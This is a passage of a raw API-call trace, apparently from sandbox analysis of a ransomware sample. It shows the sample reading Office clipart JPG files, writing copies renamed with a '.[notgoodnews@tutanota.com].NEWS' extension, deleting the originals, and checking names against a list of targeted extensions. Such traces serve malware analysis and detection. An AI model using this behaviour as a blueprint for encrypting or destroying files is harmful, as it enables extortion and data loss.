dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0185.962] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.962] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0185.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0185.994] GetLastError () returned 0x0 [0185.994] ReadFile (in: hFile=0x3fc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x8a5b, lpOverlapped=0x0) returned 1 [0185.998] WriteFile (in: hFile=0x4f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x8a60, lpOverlapped=0x0) returned 1 [0186.000] ReadFile (in: hFile=0x3fc, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0186.000] WriteFile (in: hFile=0x4f4, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0186.000] SetEndOfFile (hFile=0x4f4) returned 1 [0186.001] CloseHandle (hObject=0x4f4) returned 1 [0186.001] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0186.001] SetEndOfFile (hFile=0x3fc) returned 1 [0186.005] CloseHandle (hObject=0x3fc) returned 1 [0186.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0186.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg")) returned 1 [0186.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0186.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0186.007] lstrlenW (lpString=".doc") returned 4 [0186.007] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0186.007] lstrlenW (lpString=".docx") returned 5 [0186.008] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0186.008] lstrlenW (lpString=".pdf") returned 4 [0186.008] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0186.008] lstrlenW (lpString=".xls") returned 4 [0186.008] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0186.008] lstrlenW (lpString=".xlsx") returned 5 [0186.008] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0186.008] lstrlenW (lpString=".ppt") returned 4 [0186.008] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0186.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0186.008] lstrlenW (lpString=".zip") returned 4 [0186.008] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0186.008] lstrlenW (lpString=".rar") returned 4 [0186.008] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0186.008] lstrlenW (lpString=".bz2") returned 4 [0186.008] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0186.008] lstrlenW (lpString=".7z") returned 3 [0186.008] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0186.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0186.008] lstrlenW (lpString=".dbf") returned 4 [0186.008] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0186.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0186.008] lstrlenW (lpString=".1cd") returned 4 [0186.008] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0186.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0186.008] lstrlenW (lpString=".jpg") returned 4 [0186.008] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0186.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0186.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0186.009] lstrlenW (lpString=".doc") returned 4 [0186.009] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0186.009] lstrlenW (lpString=".docx") returned 5 [0186.009] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0186.009] lstrlenW (lpString=".pdf") returned 4 [0186.009] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0186.009] lstrlenW (lpString=".xls") returned 4 [0186.009] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0186.009] lstrlenW (lpString=".xlsx") returned 5 [0186.009] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0186.009] lstrlenW (lpString=".ppt") returned 4 [0186.009] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0186.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0186.009] lstrlenW (lpString=".zip") returned 4 [0186.009] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0186.009] lstrlenW (lpString=".rar") returned 4 [0186.009] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0186.009] lstrlenW (lpString=".bz2") returned 4 [0186.009] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0186.009] lstrlenW (lpString=".7z") returned 3 [0186.009] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0186.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0186.009] lstrlenW (lpString=".dbf") returned 4 [0186.009] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0186.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0186.009] lstrlenW (lpString=".1cd") returned 4 [0186.010] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0186.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG") returned 68 [0186.010] lstrlenW (lpString=".jpg") returned 4 [0186.010] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0186.010] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0186.010] lstrlenW (lpString="J0145895.JPG") returned 12 [0186.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0186.101] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=33958) returned 1 [0186.101] CloseHandle (hObject=0x454) returned 1 [0186.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 0x220 [0186.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0186.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.124] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.139] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0187.158] GetLastError () returned 0x0 [0187.158] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x84a6, lpOverlapped=0x0) returned 1 [0187.160] WriteFile (in: hFile=0x56c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x84b0, lpOverlapped=0x0) returned 1 [0187.162] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.162] WriteFile (in: hFile=0x56c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0187.163] SetEndOfFile (hFile=0x56c) returned 1 [0187.163] CloseHandle (hObject=0x56c) returned 1 [0187.163] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.163] SetEndOfFile (hFile=0x54c) returned 1 [0187.166] CloseHandle (hObject=0x54c) returned 1 [0187.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg")) returned 1 [0187.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0187.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0187.175] lstrlenW (lpString=".doc") returned 4 [0187.175] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.175] lstrlenW (lpString=".docx") returned 5 [0187.175] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0187.175] lstrlenW (lpString=".pdf") returned 4 [0187.175] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.175] lstrlenW (lpString=".xls") returned 4 [0187.175] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.175] lstrlenW (lpString=".xlsx") returned 5 [0187.175] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0187.175] lstrlenW (lpString=".ppt") returned 4 [0187.175] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0187.176] lstrlenW (lpString=".zip") returned 4 [0187.176] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.176] lstrlenW (lpString=".rar") returned 4 [0187.176] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.176] lstrlenW (lpString=".bz2") returned 4 [0187.176] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.176] lstrlenW (lpString=".7z") returned 3 [0187.176] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0187.176] lstrlenW (lpString=".dbf") returned 4 [0187.176] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0187.176] lstrlenW (lpString=".1cd") returned 4 [0187.176] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0187.176] lstrlenW (lpString=".jpg") returned 4 [0187.176] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0187.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0187.176] lstrlenW (lpString=".doc") returned 4 [0187.176] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.176] lstrlenW (lpString=".docx") returned 5 [0187.176] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0187.176] lstrlenW (lpString=".pdf") returned 4 [0187.176] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.176] lstrlenW (lpString=".xls") returned 4 [0187.176] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.176] lstrlenW (lpString=".xlsx") returned 5 [0187.176] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0187.176] lstrlenW (lpString=".ppt") returned 4 [0187.176] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0187.176] lstrlenW (lpString=".zip") returned 4 [0187.176] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.176] lstrlenW (lpString=".rar") returned 4 [0187.177] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.177] lstrlenW (lpString=".bz2") returned 4 [0187.177] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.177] lstrlenW (lpString=".7z") returned 3 [0187.177] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0187.177] lstrlenW (lpString=".dbf") returned 4 [0187.177] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0187.177] lstrlenW (lpString=".1cd") returned 4 [0187.177] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG") returned 68 [0187.177] lstrlenW (lpString=".jpg") returned 4 [0187.177] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.177] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0187.177] lstrlenW (lpString="J0149018.JPG") returned 12 [0187.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.179] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=27393) returned 1 [0187.179] CloseHandle (hObject=0x54c) returned 1 [0187.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 0x220 [0187.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.179] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.179] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0187.180] GetLastError () returned 0x0 [0187.180] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x6b01, lpOverlapped=0x0) returned 1 [0187.183] WriteFile (in: hFile=0x56c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x6b10, lpOverlapped=0x0) returned 1 [0187.185] ReadFile (in: hFile=0x54c, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.185] WriteFile (in: hFile=0x56c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0187.185] SetEndOfFile (hFile=0x56c) returned 1 [0187.185] CloseHandle (hObject=0x56c) returned 1 [0187.185] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.185] SetEndOfFile (hFile=0x54c) returned 1 [0187.188] CloseHandle (hObject=0x54c) returned 1 [0187.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg")) returned 1 [0187.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0187.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0187.189] lstrlenW (lpString=".doc") returned 4 [0187.189] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.189] lstrlenW (lpString=".docx") returned 5 [0187.189] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0187.189] lstrlenW (lpString=".pdf") returned 4 [0187.190] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.190] lstrlenW (lpString=".xls") returned 4 [0187.190] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.190] lstrlenW (lpString=".xlsx") returned 5 [0187.190] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0187.190] lstrlenW (lpString=".ppt") returned 4 [0187.190] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0187.190] lstrlenW (lpString=".zip") returned 4 [0187.190] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.190] lstrlenW (lpString=".rar") returned 4 [0187.190] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.190] lstrlenW (lpString=".bz2") returned 4 [0187.190] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.190] lstrlenW (lpString=".7z") returned 3 [0187.190] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0187.190] lstrlenW (lpString=".dbf") returned 4 [0187.190] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0187.190] lstrlenW (lpString=".1cd") returned 4 [0187.190] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0187.190] lstrlenW (lpString=".jpg") returned 4 [0187.190] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0187.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0187.190] lstrlenW (lpString=".doc") returned 4 [0187.190] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0187.190] lstrlenW (lpString=".docx") returned 5 [0187.190] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0187.190] lstrlenW (lpString=".pdf") returned 4 [0187.190] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0187.190] lstrlenW (lpString=".xls") returned 4 [0187.190] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0187.190] lstrlenW (lpString=".xlsx") returned 5 [0187.191] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0187.191] lstrlenW (lpString=".ppt") returned 4 [0187.191] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0187.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0187.191] lstrlenW (lpString=".zip") returned 4 [0187.191] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0187.191] lstrlenW (lpString=".rar") returned 4 [0187.191] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0187.191] lstrlenW (lpString=".bz2") returned 4 [0187.191] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0187.191] lstrlenW (lpString=".7z") returned 3 [0187.191] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0187.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0187.191] lstrlenW (lpString=".dbf") returned 4 [0187.191] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0187.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0187.191] lstrlenW (lpString=".1cd") returned 4 [0187.191] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0187.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG") returned 68 [0187.191] lstrlenW (lpString=".jpg") returned 4 [0187.191] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0187.191] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0187.191] lstrlenW (lpString="J0149118.JPG") returned 12 [0187.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.192] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=64802) returned 1 [0187.192] CloseHandle (hObject=0x54c) returned 1 [0187.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 0x220 [0187.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0187.193] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.193] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 